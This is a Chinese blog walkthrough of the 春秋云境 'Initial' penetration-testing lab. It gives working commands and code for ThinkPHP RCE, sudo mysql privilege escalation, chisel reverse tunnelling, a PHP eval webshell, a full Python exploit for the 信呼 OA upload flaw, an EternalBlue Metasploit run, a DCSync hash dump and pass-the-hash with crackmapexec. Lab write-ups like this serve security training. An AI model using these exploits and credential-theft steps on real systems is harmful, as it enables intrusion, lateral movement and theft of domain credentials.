春秋云境·Initial

考点:

  • thinkphp 5.0.23 RCE
  • mysql命令提权
  • 信呼nday
  • ms17-010(永恒之蓝)
  • DCSync

看环境是thinkphp,用集成攻击工具然后getshell:https://github.com/Lotus6/ThinkphpGUI

连上蚁剑终端发现权限比较低,先查看suid命令

find / -user root -perm -4000 -print 2> result.txt

或者用sudo -l

然后用mysql命令进行提权

sudo mysql -e '\! cat /root/flag/f*'

这台机器打完了继续打内网,先传个fscan,给执行权限然后扫描内网

下一步先打这个信呼,因为有nday能直接打,首先用chisel建立内网隧道方便本地进行内网资源访问,内网隧道那里讲过一遍了,这里再讲一遍吧

在vps上运行:(记得把这些用了的端口打开)

./chisel server -p 1234 --reverse

在这台已经getshell的机器上运行:

./chisel client vpsip:1234 R:0.0.0.0:9383:socks

然后连接vps:9383的socks5代理

最后即可在本地访问内网资源:

这里有nday,直接用了,但我们首先要在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器

vim /etc/proxychains4.conf

配置好后,先在脚本同目录放一个1.php

<?=eval($_POST[1]);?>

然后这个是脚本poc.py的内容:

import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

然后运行

proxychains4 python3 poc.py 

打印出来的就是写进去马的目录,访问目录确实可以rce

然后我们在蚁剑上配置一下代理,你不配的话蚁剑也是没法直接访问到内网那个资源的

然后连马拿flag

然后就是打内网的另一台服务器,扫出来有ms17-010的那台,最后一个flag估计就在这里,这个洞就是鼎鼎大名的永恒之蓝,玩内网不玩永恒之蓝就像玩开放世界不玩原神一样可笑。。。

因为msf上直接有,所以我们就用工具打当工具小子了(当然这里还是要用proxychains4配代理)

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

打完获得一个正向连接的shell

拿到权限后可以用creds_all等命令收集内网凭据,而我们控制的这台机器是有DCSync的权限的(因为这个是DC1,也就是域控制器), 所以能直接从域控上导出Hash

DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

DCSync 攻击前提:

想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限

这里我们用永恒之蓝打完本来就是system权限,然后我们load kiwi,抓取用户的hash

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

这里我们抓到了Administrator的hash,所以可以直接用crackmapexec打hash传递了

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

完结撒花,最后完整的flag:

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

补充一下最后hash传递的知识,具体可以看内网横传之哈希传递(Pass The Hash)

Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的

在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。

适用场景:内网中大量主机密码相同。

hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口

总而言之,哈希传递是在没办法获取密码时可以进行横传的方法,在抓取哈希后我们可以通过LM和NTLM直接访问远程主机服务,因为他们的身份验证就是口令的hash值,被我们获取后即可为所欲为了

最后用时一小时出头打通,大概花了六七块(💰):

评论

  1. SlackMoon
    4月前
    2024-8-08 19:44:20

    写的很好,支持一下师傅

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇